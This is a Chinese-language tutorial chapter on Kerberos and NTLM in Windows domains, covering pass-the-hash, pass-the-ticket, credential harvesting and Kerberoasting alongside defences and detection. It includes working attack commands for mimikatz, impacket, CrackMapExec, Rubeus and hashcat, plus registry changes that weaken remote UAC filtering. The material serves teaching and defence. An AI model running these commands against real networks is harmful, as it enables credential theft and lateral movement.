把域想象成一个大型游乐园:

【① 买票(AS 阶段)】
  你到门口售票处(KDC 的 AS 服务),出示身份证(用户名 + 密码)
  售票员验证你的身份后,给你:
    - 一张【通行证 TGT】(加密的,你打不开)
    - 一把【你和售票处之间的密钥】(用你的密码哈希加密)
  你说:"我要玩过山车"
  售票员说:"通行证给你了,去服务中心换各个项目的票"

  ★ 注意:售票员【没有问你要密码明文】,
    他只是验证了"你知道密码"(因为你能解开用你密码哈希加密的东西)

【② 换项目票(TGS 阶段)】
  你拿着 TGT 去服务中心(KDC 的 TGS 服务)
  说:"我有 TGT,我要玩过山车的票"
  服务中心:
    - 验证 TGT 是真的(用 krbtgt 的密钥解开)
    - 给你一张【过山车专用票 TGS/ST】(用过山车服务账号的密钥加密)
  你说:"谢谢"

  ★ 服务中心【不需要再问你的密码】,
    只要 TGT 是真的,就给你发票

【③ 玩项目(AP 阶段)】
  你拿着过山车票去过山车(真正的应用服务器)
  过山车的工作人员:
    - 用自己的密钥(服务账号的密码哈希)解开票
    - 看里面写的是谁、有什么权限
    - 放行

  ★ 过山车【也不需要联系售票处】,
    它自己就能验证票是真的(因为票是用它的密钥加密的)

对应到技术术语:

游乐园 Kerberos 说明
你 Client(用户/机器)
售票处 AS(Authentication Service) 在域控上,负责发 TGT
服务中心 TGS(Ticket Granting Service) 在域控上,负责发服务票
售票处+服务中心 KDC(Key Distribution Center) 都在域控上,是 AD DS 的一部分
通行证 TGT(Ticket Granting Ticket) 用 krbtgt 账号的密钥加密
项目票 TGS / ST(Service Ticket) 用服务账号的密钥加密
过山车 应用服务器(文件共享、Web、数据库…)
项目的名字 SPN(Service Principal Name) 如 HTTP/web01.corp.local
游乐园的万能印章 krbtgt 的密钥 ★ 拿到它能造任何 TGT(黄金票据)

② 完整流程(三阶段六步,面试必背)

=============== AS 阶段(Authentication Service Exchange)===============

【1】Client → AS(KRB_AS_REQ):"我是 zhangsan,我要 TGT"
    发送:用户名、当前时间(用 zhangsan 的 NTLM Hash 加密 ★)
          域名、要请求的服务(krbtgt)
    ★ 关键点:时间戳用【用户密码的哈希】加密
      → KDC 用自己存的 zhangsan 的哈希解密,成功就证明"你确实知道密码"
      → 整个过程中【密码从未在网络上传输】
      → 这就是"预认证(Pre-Authentication)"

【2】AS → Client(KRB_AS_REP):"验证通过,给你 TGT"
    返回两部分:
      ① TGT(用 krbtgt 的密钥加密 ★ 客户端解不开)
         里面包含:用户名、Session Key、时间戳、PAC(★ 权限信息)
      ② 一些信息(用 zhangsan 的密钥加密,客户端能解开)
         里面包含:Session Key(用于后续和 TGS 通信)、TGT 的有效期

    ★ PAC(Privilege Attribute Certificate):
      里面是用户的【组信息和权限】(比如"属于 Domain Admins")。
      KDC 会用它私钥签名,服务看到 PAC 就知道用户有哪些权限。
      ★ 这也是【MS14-068】和【黄金票据】攻击的关键点。


=============== TGS 阶段(Ticket Granting Service Exchange)===============

【3】Client → TGS(KRB_TGS_REQ):"我有 TGT,我要访问 CIFS/file-server"
    发送:
      - 用户名 + 时间戳(用【Session Key】加密)
      - TGT(原封不动转发,客户端解不开也不需要解开)
      - 要访问的 SPN:CIFS/file-server.corp.local

【4】TGS → Client(KRB_TGS_REP):"给你服务票"
    返回:
      ① 服务票据 ST(用【file-server 服务账号的密钥】加密 ★)
         里面包含:用户名、新的 Session Key、PAC
      ② 给客户端的部分(用【Session Key】加密)
         里面包含:新的 Session Key(用于和 file-server 通信)

    ★ 关键:TGS 【不验证你有没有权限访问这个服务】,
      它只验证"你的 TGT 是真的",然后就发票。
      权限检查是【最后应用服务器】做的(看 PAC)。


=============== AP 阶段(Client/Server Exchange)===============

【5】Client → Server(KRB_AP_REQ):"我有票,让我访问"
    发送:
      - 服务票据 ST(用服务账号密钥加密)
      - 认证器 Authenticator(用【新的 Session Key】加密:用户名+时间戳)

【6】Server → Client(KRB_AP_REP,可选):"验证通过"
    服务器:
      - 用自己的密钥(服务账号的密码哈希)解开 ST
      - 取出里面的 Session Key
      - 用 Session Key 解开 Authenticator,验证时间戳(防重放)
      - 读 PAC,看用户有哪些组,决定是否授权

    ★ 服务器【全程没有联系域控】——它信任 KDC 签过的票。
      这就是为什么"盗用了 krbtgt 的密钥能造出被所有人信任的票"。

③ SPN(服务主体名)

一句话定义:SPN 是服务在网络上的“身份证号”,格式是 服务类型/主机名:端口。

常见 SPN 格式:
  CIFS/file-server.corp.local        文件共享(SMB)
  HTTP/web01.corp.local              Web 服务
  MSSQLSvc/db01.corp.local:1433      SQL Server
  LDAP/dc01.corp.local               LDAP
  HOST/pc001.corp.local              主机服务(很多服务的总称)

★ 为什么要关心 SPN:
  ① Kerberos 认证需要它(客户端要说清楚"我要访问哪个服务")
  ② 有 SPN 的账号 = 【服务账号】
     → 服务账号往往是高权限的(要跑服务)
     → 服务账号的密码往往很老、很复杂、没人改
     → ★ 服务票是用服务账号的密码哈希加密的
        → 所以拿到服务票 → 拿回本地暴力破解 → 可能解出明文密码
        → 这就是【Kerberoasting】,见 7.5.1

注册 SPN:
  setspn -A HTTP/web01.corp.local corp\svc_web
  setspn -L corp\svc_web            # 列出某个账号的 SPN
  setspn -Q */*                     # 列出域里所有 SPN

④ Kerberos 的加密类型

常见加密类型(etypes):

  RC4-HMAC (23)        ★ 弱(用 NTLM Hash 作为密钥)
                         兼容性最好,但安全性最差
  AES128-CTS-HMAC-SHA1 (17)
  AES256-CTS-HMAC-SHA1 (18)   ★ 强(推荐)

★ 为什么这很重要:
  - 如果票据用 RC4 加密,说明密钥是【NTLM Hash】
    → 那就可以直接用 Hash 造票(PTH 和 PTT 就打通了)
  - 如果只用 AES,攻击者必须知道【明文密码】(或 AES 密钥)才能造票
    → 难度大幅上升

★ 防御要点:
  把服务账号和特权账号配成"仅 AES"(msDS-SupportedEncryptionTypes),
  并且把特权账号加进 Protected Users 组(强制 AES,禁用 RC4 和 NTLM)

7.3.3 NTLM vs Kerberos 对比

维度 NTLM Kerberos
认证方式 挑战-响应 票据(Ticket)
需要域控 本地认证不需要;域认证需要 始终需要(KDC 在域控上)
密码传输 不传明文,但传 Hash 加密的结果 不传密码,也不传 Hash
单点登录(SSO) 不支持(每个服务都要重新认证) ★ 支持(一次登录,TGT 有效期内畅通)
相互认证 只认证客户端 ★ 双向认证(客户端也验证服务器)
委派支持 不支持 ★ 支持(服务可以代表用户)
主要弱点 哈希传递 PTH、中继攻击、离线破解 Kerberoasting、黄金/白银票据、委派滥用、PAC 伪造
性能 每次认证都要找域控 TGT 有效期内不用找域控
现状 遗留协议,但仍在大量使用 域环境默认

重要认知: 很多管理员以为“域环境只跑 Kerberos”,其实 NTLM 无处不在:

  • 访问 IP 地址而不是主机名(\\192.168.1.10 会 fallback 到 NTLM)
  • 老应用、非 Windows 客户端
  • 本地账号登录
  • 某些服务(如 SQL Server 的部分场景)

所以不能只防 Kerberos,NTLM 的加固(SMB 签名、禁 NTLMv1、限制 NTLM)同样重要。

7.3.4 从攻击视角看两个协议的“可乘之机”

【NTLM 的弱点 → 对应攻击】

  ① 验证只需要 Hash,不需要密码     → 【哈希传递 PTH】(7.4.1)
  ② 认证可以被转发                   → 【NTLM 中继】(7.3.1 ③)
  ③ 响应可以离线暴力破解             → 【Net-NTLMv2 抓包 + hashcat】

【Kerberos 的弱点 → 对应攻击】

  ① TGT 用 krbtgt 的密钥加密
     → 拿到 krbtgt 的 Hash 就能造任意 TGT  → 【黄金票据】(7.5.3)
  ② 服务票用服务账号的密钥加密
     → 拿到服务票就能离线破解服务账号密码  → 【Kerberoasting】(7.5.1)
     → 拿到服务账号 Hash 就能造服务票      → 【白银票据】(7.5.4)
  ③ 可以关闭"预认证"
     → 关了就能直接要票(不验证身份)      → 【AS-REP Roasting】(7.5.2)
  ④ TGS 不检查权限,只验证 TGT
     → 任何域用户都能为任何 SPN 请求服务票 → 【Kerberoasting 的前提】
  ⑤ 委派机制(服务代表用户)
     → 配置错了就能冒充任何人              → 【委派攻击】(7.5.5)
  ⑥ 域复制协议(用于域控之间同步)
     → 有权限就能"合法"要所有账号的 Hash  → 【DCSync】(7.5.6)

★ 注意一个共同点:
   这些【大多不是"漏洞",而是"设计特性"】。
   微软知道这些问题,但在兼容性和安全之间做了取舍。
   所以防御的重点不是"等补丁",而是【正确的配置和监控】。

7.4 凭据窃取与传递

核心认知(必须先接受):

在 Windows 域环境里,【Hash 等价于密码】。

这不是夸张,是字面意思:
  - NTLM 认证验证的是 NTLM Hash,不是密码
  - Kerberos 用 Hash 派生密钥(RC4 模式下 NTLM Hash 就是密钥)

所以攻击者【根本不需要破解密码】——
他只要拿到 Hash,就能直接以你的身份登录任何支持 NTLM 的地方。

★ 这也是为什么"密码设得再复杂也没用"——
  只要 Hash 泄露了,20 位的随机密码和 "123456" 一样不安全。

★ 那怎么办?
  ① 保护 Hash 不被拿到(Credential Guard、LSA Protection、限制登录)
  ② 让 Hash 不能被用来认证(Protected Users 组、禁 NTLM、强制 AES)
  ③ 让一台机器的 Hash 不能用于另一台(LAPS)

7.4.1 PTH(Pass-the-Hash,哈希传递)

① 原理

【正常登录】
  用户输入密码 → Windows 算出 NTLM Hash → 用 Hash 做 NTLM 认证

【哈希传递】
  攻击者有 NTLM Hash → 【跳过"算 Hash"这一步】→ 直接用 Hash 做 NTLM 认证

  ★ 服务器分不出来:
    它收到的都是"用 NTLM Hash 加密的挑战响应",
    它不知道这个 Hash 是用户现场算的,还是攻击者从内存里偷的。

生活类比:

门禁系统验证的是"卡号",不是"人"。
你捡到一张卡(Hash),刷卡就进去了。
保安不会问"这张卡是你自己办的吗"。

② 实战:PTH 的四种方式

# ===== 方式一:mimikatz(最经典)=====
# 前提:需要管理员权限(mimikatz 要读写进程内存)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:2092c96a2b0f3b7b8a2f2c9d5e1a0b3c /run:cmd.exe
#   /user   : 要冒充的用户
#   /domain : 域名(本地账号可以用主机名或留空)
#   /ntlm   : NTLM Hash(★ 注意是 NTLM Hash,不是 Net-NTLMv2,也不是 LM)
#   /run    : 要运行的程序

# 弹出一个 cmd,这个 cmd 在网络认证时用的是 Administrator 的身份
# 在里面执行:
#   dir \\file-server\c$        以 Administrator 访问文件服务器
#   psexec \\pc001 cmd.exe      横向到 pc001
#   net view \\dc01             看域控的共享

# ★ 用 aesKey(如果目标禁用了 RC4)
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /aes256:<AES256密钥> /run:cmd.exe


# ===== 方式二:impacket(从 Linux 攻击机,最常用)=====
# ① 拿到一个交互 shell
python3 psexec.py corp.local/administrator@192.168.1.10 -hashes :2092c96a2b0f3b7b8a2f2c9d5e1a0b3c
#   格式:domain/user@target -hashes LM:NT
#   ★ LM 部分留空(现在基本不用 LM Hash),所以是 ":NTHash"

# ② 只执行命令(不建 shell)
python3 wmiexec.py corp.local/administrator@192.168.1.10 -hashes :<NTHash> "whoami"
python3 smbexec.py corp.local/administrator@192.168.1.10 -hashes :<NTHash> "ipconfig"
python3 atexec.py  corp.local/administrator@192.168.1.10 -hashes :<NTHash> "whoami /all"

# ③ 拿远程主机信息
python3 lookupsid.py corp.local/administrator@192.168.1.10 -hashes :<NTHash>
python3 samrdump.py corp.local/administrator@192.168.1.10 -hashes :<NTHash>
python3 services.py corp.local/administrator@192.168.1.10 -hashes :<NTHash> list

# ④ 批量(★ 一台机器上拿到 Hash,批量试所有机器)
for ip in $(cat targets.txt); do
    python3 wmiexec.py corp.local/administrator@$ip -hashes :<NTHash> "whoami" 2>/dev/null
done


# ===== 方式三:CrackMapExec(★ 内网批量神器,强烈推荐)=====
# 单个目标
crackmapexec smb 192.168.1.10 -u administrator -H <NTHash> -d corp.local

# 批量执行(★ 一条命令横扫整个网段)
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTHash> -d corp.local
# 输出:
#   SMB  192.168.1.10  445  PC001   [*] Windows 10.0 Build 19041 (name:PC001) (domain:corp.local)
#   SMB  192.168.1.10  445  PC001   [+] corp.local\administrator:<NTHash> (Pwn3d!)
#                                                                        ↑ ★ 有管理员权限

# 在成功的机器上执行命令
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTHash> -x "whoami"

# 批量 dump SAM(拿本地账号 Hash)
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTHash> --sam

# 批量 dump LSASS(拿登录过的用户凭据)★ 危险,会被 EDR 抓
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTHash> --lsa

# 批量枚举登录会话(★ 找域管在哪台机器)
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTHash> --loggedon-users

# 检查是否有 LAPS
crackmapexec ldap 192.168.1.10 -u user -p pass -d corp.local --module laps

# ★ 从防守方角度:这个工具也是很好的自查工具


# ===== 方式四:RDP 的 PTH(受限,但有绕过)=====
# 问题:RDP 默认【不支持】哈希传递(它要求真的密码)
# 绕过方法(需要目标开启 Restricted Admin Mode 或 Credential Guard 关闭):
#   ① 在目标上开启 RestrictedAdmin
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
#   ② 然后用 mimikatz 或 FreeRDP 连接
xfreerdp /u:administrator /pth:<NTHash> /v:192.168.1.10 /cert-ignore
#   /pth 参数直接传 Hash

# ★ 注意:Server 2019+ 默认增强了限制,这个方法不一定有效

③ 什么条件下 PTH 能成功

✅ PTH 能成功的情况:
  - 目标机器开了 NTLM 认证(几乎所有 Windows 都开)
  - 你的账号在目标机器上有本地管理员权限
  - 445(SMB)或 135(RPC)端口可达
  - 目标没开 UAC 的远程限制(★ 见下)
  - 目标账号不是 Protected Users 组成员

❌ PTH 会失败的情况:
  ① 【UAC 远程限制】(★ 最常见的原因)
     本地管理员账号(RID 500)以外的账号,
     远程连接时会被"过滤令牌",拿不到完整权限
     → 解决方法:用 RID 500 的 Administrator
                 或改注册表 LocalAccountTokenFilterPolicy = 1
     ★ 这就是为什么攻击者总是优先找 RID 500 的账号

  ② 【账号在 Protected Users 组】
     → 禁止 NTLM 认证,PTH 直接失效

  ③ 【目标开了 Credential Guard】
     → LSASS 内存被保护,PTH 拿不到(但已泄露的 Hash 仍可用)

  ④ 【禁用了 NTLM】(组策略"拒绝 NTLM")
     → 只能用 Kerberos(需要明文密码或 AES 密钥)

  ⑤ 【LAPS 生效 + 每台机器本地管理员密码不同】
     → dump 一台的 Hash 不能用于另一台(★ LAPS 的核心价值)

UAC 远程限制的补充(很重要,面试常考):

现象:
  你用 domain\admin(Domain Admins 成员)去 PTH 一台机器,
  结果是"部分成功"——能连上,但执行命令提示权限不足。

原因:
  Windows 对【远程登录】的本地管理员会做 UAC 令牌过滤:
    远程连接 → 给你"过滤令牌"(标准用户权限)
    本地登录 → 给你"完整令牌"(管理员权限)

  ★ 唯一的例外:RID 500 的内置 Administrator 账号
    它不受这个限制(历史遗留),远程连接也是完整令牌

绕过方法:
  ① 用 RID 500 的 Administrator(★ 首选)
  ② 改目标机器的注册表(需要已有管理员权限):
     reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \
         /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
     ★ 这是攻击者拿到机器后常做的"加固后门"(方便后续横向)
  ③ 通过 RDP 交互式登录(不是网络登录)

★ 防守方检测点:
   监控 LocalAccountTokenFilterPolicy 这个注册表项的变更!
   它正常应该是"不存在"或 0,被改成 1 说明有人在做横向移动准备。

④ 防御 PTH

【第 1 层:让 Hash 拿不到】
  ✓ Credential Guard(VBS 隔离,LSASS 里没有完整凭据)
  ✓ LSA Protection(RunAsPPL)
  ✓ 关 WDigest
  ✓ 域管不登录普通机器(★ 最有效——凭据根本不出现在不该出现的地方)
  ✓ 限制 SeDebugPrivilege

【第 2 层:让 Hash 拿到也没用】
  ✓ Protected Users 组(★ 特权账号必须加!)
     - 禁止 NTLM 认证(PTH 完全失效)
     - 强制 Kerberos AES(禁 RC4)
     - 禁止委派
     - TGT 最长 4 小时
     - 禁止 NTLM Hash 缓存
  ✓ 禁用 NTLM(组策略:网络安全: 限制 NTLM)
     路径:安全设置 → 本地策略 → 安全选项 → 网络安全: 限制 NTLM
     → "拒绝所有域账户的 NTLM" / "审核 NTLM 身份验证"
     ★ 先开审核,跑一段时间看有没有业务依赖,再切拒绝
  ✓ 强制 Kerberos AES(msDS-SupportedEncryptionTypes)

【第 3 层:让一台的 Hash 不能用于另一台】
  ✓ LAPS(本地管理员密码每台不同,定期轮换)
  ✓ 分层管理模型(Tier 0/1/2,域管凭据不出现在 Tier 2)

【第 4 层:检测】
  ✓ 事件 ID 4624 登录类型 3(网络登录)+ 账号是本地管理员 → 关注
  ✓ 同一账号短时间从多台机器发起网络登录 → 告警
  ✓ NTLM 认证日志(Event 8001-8004,需要开启 NTLM 审核)
     → 关注 NTLM 认证的【源】(办公机发起 NTLM 到服务器是正常的,
       但服务器发起 NTLM 到另一台服务器就要警惕)
  ✓ PsExec/WMI 特征(见 7.6.1)
  ✓ Sysmon 1(进程创建)+ 父进程异常

7.4.2 PTT(Pass-the-Ticket,票据传递)

① 原理

Kerberos 认证靠票据。票据是【一段加密数据文件】(.kirbi 或 ccache)。
票据在内存里(Kerberos 凭据缓存),也可以导出成文件。

PTT = 把别人的票据【注入到我自己的会话里】
    → 我就"变成"那个人了
    → 我用他的身份去访问服务

★ 和 PTH 的区别:
  PTH:用 Hash 去"做一次认证"(每次认证都需要 Hash)
  PTT:直接用现成的票据(连认证都不用做)

★ PTT 的优势:
  ① 不需要 Hash,也不需要密码
  ② 票据里带了 PAC(组信息),权限完整
  ③ 在"禁用了 NTLM"的环境里,PTH 失效但 PTT 依然可用
  ④ 更难检测(票据注入是"合法"的 Kerberos 行为)

★ PTT 的限制:
  ① 票据有【有效期】(默认 TGT 10 小时,服务票 10 小时)
  ② 票据绑定了【目标服务】(服务票只能访问特定 SPN)
  ③ 需要能访问域控(KDC)来验证票据(除非是伪造的票)

② 实战:PTT 的完整流程

# ===== 步骤一:导出票据 =====

# mimikatz(需要管理员/SYSTEM)
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# 输出一堆 .kirbi 文件在当前目录,命名类似:
#   [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi
#   [0;3e7]-2-1-40e10000-Administrator@CIFS-file-server.corp.local.kirbi
#
# 命名格式:[LogonId]-?-?-?-用户名@服务-域.kirbi
#   krbtgt-xxx   = TGT(★ 最值钱)
#   CIFS-xxx     = 访问文件共享的票
#   LDAP-xxx     = 访问 LDAP 的票
#   HTTP-xxx     = 访问 Web 的票

# 只看 TGT
mimikatz # sekurlsa::tickets /export /service:krbtgt


# ===== 步骤二:导入(注入)票据 =====

# ① 清空当前会话的票据(避免混淆)
mimikatz # kerberos::purge

# ② 注入指定的票据
mimikatz # kerberos::ptt "[0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi"

# ③ 验证
mimikatz # kerberos::list          # 列出当前会话的票据
klist                                # 系统自带命令也可以看

# ④ 现在你的会话就是 Administrator 的身份了
dir \\file-server\c$                 # 以 Administrator 访问
# ★ 注意:PTT 后要【新开一个 cmd/powershell】才生效
#   (已存在的进程用的是旧的凭据缓存)


# ===== 步骤三:用票据访问服务 =====

# 方法 A:直接访问(票据已经在会话里)
dir \\file-server\c$

# 方法 B:用 mimikatz 的 kerberos 支持
# 或者用 Rubeus(更现代的 Kerberos 工具)
Rubeus.exe ptt /ticket:<base64或文件>
Rubeus.exe klist
Rubeus.exe purge

# 方法 C:从 Linux(impacket 支持 ccache 格式的票据)
#   ① 把 .kirbi 转成 ccache
python3 ticketConverter.py admin.kirbi admin.ccache

#   ② 用它
export KRB5CCNAME=admin.ccache
python3 psexec.py corp.local/administrator@file-server.corp.local -k -no-pass
python3 wmiexec.py corp.local/administrator@file-server.corp.local -k -no-pass "whoami"
python3 secretsdump.py -k -no-pass corp.local/administrator@dc01.corp.local
#   -k        = 用 Kerberos 认证
#   -no-pass  = 不提供密码(用票据)
#   ★ 注意:主机名要用【FQDN】(file-server.corp.local),
#     不能用 IP,否则 Kerberos 找不到 SPN


# ===== 补充:Rubeus 的常用命令 =====
Rubeus.exe klist                     # 列出票据
Rubeus.exe purge                     # 清空票据
Rubeus.exe dump                      # dump 票据(不需要 SYSTEM 权限也能做部分)
Rubeus.exe monitor /interval:5       # 监控新票据的产生(★ 能看到别人登录)
Rubeus.exe tgtdeleg                  # ★ 利用非约束委派拿 TGT
Rubeus.exe asktgt /user:xxx /password:yyy /domain:corp.local   # 请求 TGT
Rubeus.exe asktgs /service:CIFS/file-server /ticket:<TGT>      # 请求服务票
Rubeus.exe kerberoast                 # ★ Kerberoasting(见 7.5.1)
Rubeus.exe asreproast                 # ★ AS-REP Roasting(见 7.5.2)
Rubeus.exe golden /aes256:xxx /user:Administrator /id:500      # 造黄金票据
Rubeus.exe silver /service:CIFS/xxx /rc4:xxx /user:xxx         # 造白银票据

③ 票据的类型与价值

【TGT(Ticket Granting Ticket)】★★★★★
  - 用 krbtgt 的密钥加密
  - 相当于"万能门票":可以用它去换任何服务的票
  - 有效期默认 10 小时
  - ★ 拿到域管的 TGT = 域管身份,可以为所欲为
  - 从哪里拿:
      ① dump LSASS 内存(域管在这台机器上登录过)
      ② 非约束委派(见 7.5.5)
      ③ 伪造(黄金票据,见 7.5.3)

【服务票 ST/TGS】★★★☆☆
  - 用服务账号的密钥加密
  - 只能访问特定服务(比如 CIFS/file-server)
  - 有效期默认 10 小时
  - ★ 价值:
      ① 能访问对应服务
      ② 【可以离线暴力破解服务账号的密码】(Kerberoasting)
      ③ 如果有服务账号的 Hash,可以伪造服务票(白银票据)

④ 防御 PTT

① 【Protected Users 组】
   - TGT 有效期缩短到 4 小时
   - 禁止委派(拿不到别人的 TGT)
   - 强制 AES

② 【限制域管登录范围】
   - 域管只能登录"域管工作站(PAW, Privileged Access Workstation)"
   - 不能在普通办公机上留下 TGT
   ★ 这是微软极力推荐的实践

③ 【登出即销毁票据】
   - 用完就 klist purge 或注销(不要只断开 RDP)
   - 断开的会话票据还在内存里,攻击者能 dump 出来

④ 【监控】
   - Event 4768(TGT 请求)+ 4769(服务票请求)
     关注:异常的加密类型(RC4)、异常的服务名、
           异常的客户端地址
   - Event 4624 登录类型 3/10 的异常组合

⑤ 【Credential Guard】
   - 票据存在隔离的虚拟环境里,dump 不出来

⑥ 【缩短票据有效期】
   - 组策略:Kerberos 策略 → 用户票据最长寿命(默认 10 小时)
   - 可以缩短到 4 小时(需要平衡体验和风险)

7.4.3 其他凭据来源(不只是内存)

【① SAM / SECURITY hive】本地账号的 Hash
   reg save HKLM\SAM sam.save
   reg save HKLM\SYSTEM system.save
   离线:secretsdump.py -sam sam.save -system system.save LOCAL

【② NTDS.dit】域里所有账号的 Hash
   ntdsutil / vssadmin / DCSync
   ★ 详见 7.5.6

【③ 浏览器保存的密码】
   Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
   Edge  : %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
   Firefox: %APPDATA%\Mozilla\Firefox\Profiles\*.default\key4.db + logins.json
   → 用 SharpDPAPI / LaZagne / HackBrowserData 提取
   ★ 企业里经常有人把【域管密码保存在浏览器里】

【④ 凭据管理器(Windows Vault)】
   cmdkey /list
   mimikatz # vault::cred / vault::list
   → 用户保存的 RDP 密码、共享密码、Web 密码

【⑤ DPAPI 保护的数据】
   - 用户级 DPAPI(用用户密码派生的密钥加密)
   - 机器级 DPAPI(用机器的系统密钥加密)
   → 拿到用户的 SID + 密码 Hash,就能解密
   → SharpDPAPI 是专门干这个的

【⑥ 配置文件 / 脚本】
   运维脚本里的明文密码、web.config 的连接串、
   unattend.xml、Groups.xml 的 cpassword(见 6.5.5)

【⑦ 键盘记录 / 截图】
   最直接,但噪音最大、最容易被检测

【⑧ Net-NTLMv2 抓包】
   用 Responder / Inveigh 在内网"假装"是文件服务器,
   别人的机器会自动来认证(Windows 的自动认证行为),
   你抓到 Net-NTLMv2 响应,拿回本地破解。
   ★ 或者不破解,直接中继(NTLM Relay)

【⑨ 内存里的明文】
   除了 LSASS,有些应用(比如邮件客户端、数据库客户端)
   会在自己的内存里存密码

【⑩ KeePass / 密码管理器】
   找到 .kdbx 文件 + 拿到主密码(键盘记录或从内存提取)
   或者针对老版本 KeePass 的漏洞(CVE-2023-32784 可从内存提取主密码)

7.5 Kerberos 攻击(重点章节)

这五种攻击是域渗透的“核心技术”,面试几乎必考。 我把每种都给完整原理 + 实战命令 + 防御。

7.5.1 Kerberoasting

① 一句话原理

任何域用户都可以为【任何 SPN】向 KDC 请求服务票据。
服务票据是用【服务账号的密码哈希】加密的。

所以:
  请求一张服务票 → 拿回本地 → 用字典暴力破解
  → 如果服务账号的密码弱 → 解出明文密码
  → 而服务账号往往权限很高

生活类比:

游乐园的服务中心有个规矩:
  任何人只要出示通行证(哪怕是儿童票),
  都能拿到"过山车票",不管他有没有资格玩。

而且这个"过山车票"是用"过山车管理员的私章"封的。

攻击者拿了一堆这样的票回家,
慢慢研究那个私章长什么样(暴力破解),
研究出来了就能自己伪造过山车票(白银票据)。

② 为什么它能成功(三个设计缺陷叠加)

① 【任何域用户都能请求任何 SPN 的服务票】
   TGS 不检查你有没有权限访问这个服务,只验证你的 TGT 是真的
   ★ 这是设计如此(权限检查由最后的应用服务器做)

② 【服务票用服务账号的密钥加密】
   如果加密类型是 RC4,那密钥就是服务账号的【NTLM Hash】
   ★ 而 NTLM Hash 是没有加盐的 MD4,非常适合离线破解

③ 【服务账号的密码往往很弱或很老】
   服务账号是跑服务的,通常是:
     - 密码永不过期(改密码要停服务,运维懒得改)
     - 可能用了十年
     - 密码是 "Svc_Backup2020!" 这种"看起来复杂其实可猜"的

③ 实战

# ===== 步骤 1:找出所有带 SPN 的账号(Kerberoastable)=====

# 方法一:PowerShell(AD 模块)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, MemberOf |
    Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet

# 方法二:无 AD 模块(ADSI)
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PageSize = 1000
$searcher.FindAll() | ForEach-Object {
    Write-Host "$($_.Properties.samaccountname[0])"
    Write-Host "    SPN: $($_.Properties.serviceprincipalname -join ', ')"
}

# 方法三:setspn(系统自带)
setspn -Q */*

# 方法四:impacket(从 Linux)
python3 GetUserSPNs.py corp.local/user:password -dc-ip <DC_IP>
python3 GetUserSPNs.py corp.local/user:password -dc-ip <DC_IP> -request   # ★ 直接请求票据


# ===== 步骤 2:请求服务票据 =====

# 方法一:Rubeus(Windows,推荐)
Rubeus.exe kerberoast
# 输出:
#   [*] Action: Kerberoasting
#   [*] SamAccountName         : svc_sql
#   [*] DistinguishedName      : CN=svc_sql,OU=Service Accounts,DC=corp,DC=local
#   [*] ServicePrincipalName   : MSSQLSvc/db01.corp.local:1433
#   [*] Supported ETypes       : RC4_HMAC_DEFAULT
#   [*] Hash written to ...
#   $krb5tgs$23$*svc_sql$CORP.LOCAL$...   ← ★ 这是可以破解的哈希

# 只针对某个用户
Rubeus.exe kerberoast /user:svc_sql

# 输出成 hashcat 格式
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# ★ 用统计模式(不请求票据,先看有多少目标)
Rubeus.exe kerberoast /stats

# 方法二:impacket(Linux)
python3 GetUserSPNs.py corp.local/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt

# 方法三:Invoke-Kerberoast.ps1(PowerSploit)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash |
    Out-File -Encoding ASCII kerberoast.txt


# ===== 步骤 3:离线破解 =====

# hashcat(GPU 加速,最快)
# Kerberos 5 TGS-REP etype 23(RC4)的模式号是 13100
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O
hashcat -m 13100 kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# -O = 优化内核(更快但限制密码长度)

# ★ 建议的字典组合(针对中国企业环境):
#   ① rockyou.txt(国外通用弱口令)
#   ② 公司名/域名 + 年份 的组合(Svc_XXX2024!)
#   ③ 常见服务名(sql、backup、web、app、oracle)
#   ④ 键盘模式(1qaz@WSX、Qwerty123)

# John the Ripper
john --format=krb5tgs --wordlist=rockyou.txt kerberoast.txt


# ===== 步骤 4:用破解出的密码 =====
# 服务账号的明文密码可以:
#   ① 直接登录(如果这个账号能交互登录)
#   ② 算 NTLM Hash 做 PTH
#   ③ 看这个账号在哪些组里(往往是 Domain Admins!)

④ 防御 Kerberoasting

【根本防御:让票破解不出来】

① 【服务账号用超长随机密码】★ 最有效
   - 密码 ≥ 25 位,完全随机
   - 或者用【组托管服务账号 gMSA】
     ★ gMSA 的密码是 240 字节随机值,每 30 天自动轮换,
       而且【没有人知道密码】(由 AD 自动管理)
     → Kerberoasting 彻底失效(破解不出来,就算破解出来也很快过期)

   # 创建 gMSA
   New-ADServiceAccount -Name "svc_web" `
       -DNSHostName "svc_web.corp.local" `
       -PrincipalsAllowedToRetrieveManagedPassword "WebServers$"

② 【强制 AES 加密】(禁 RC4)
   # 给服务账号设置 msDS-SupportedEncryptionTypes = 24(仅 AES128/256)
   Set-ADUser svc_sql -Replace @{ 'msDS-SupportedEncryptionTypes' = 24 }
   # 或者用组策略统一配置:
   #   计算机配置 → 策略 → Windows 设置 → 安全设置 → 本地策略 → 安全选项
   #   → 网络安全: 配置 Kerberos 允许的加密类型 = 只勾选 AES128 和 AES256

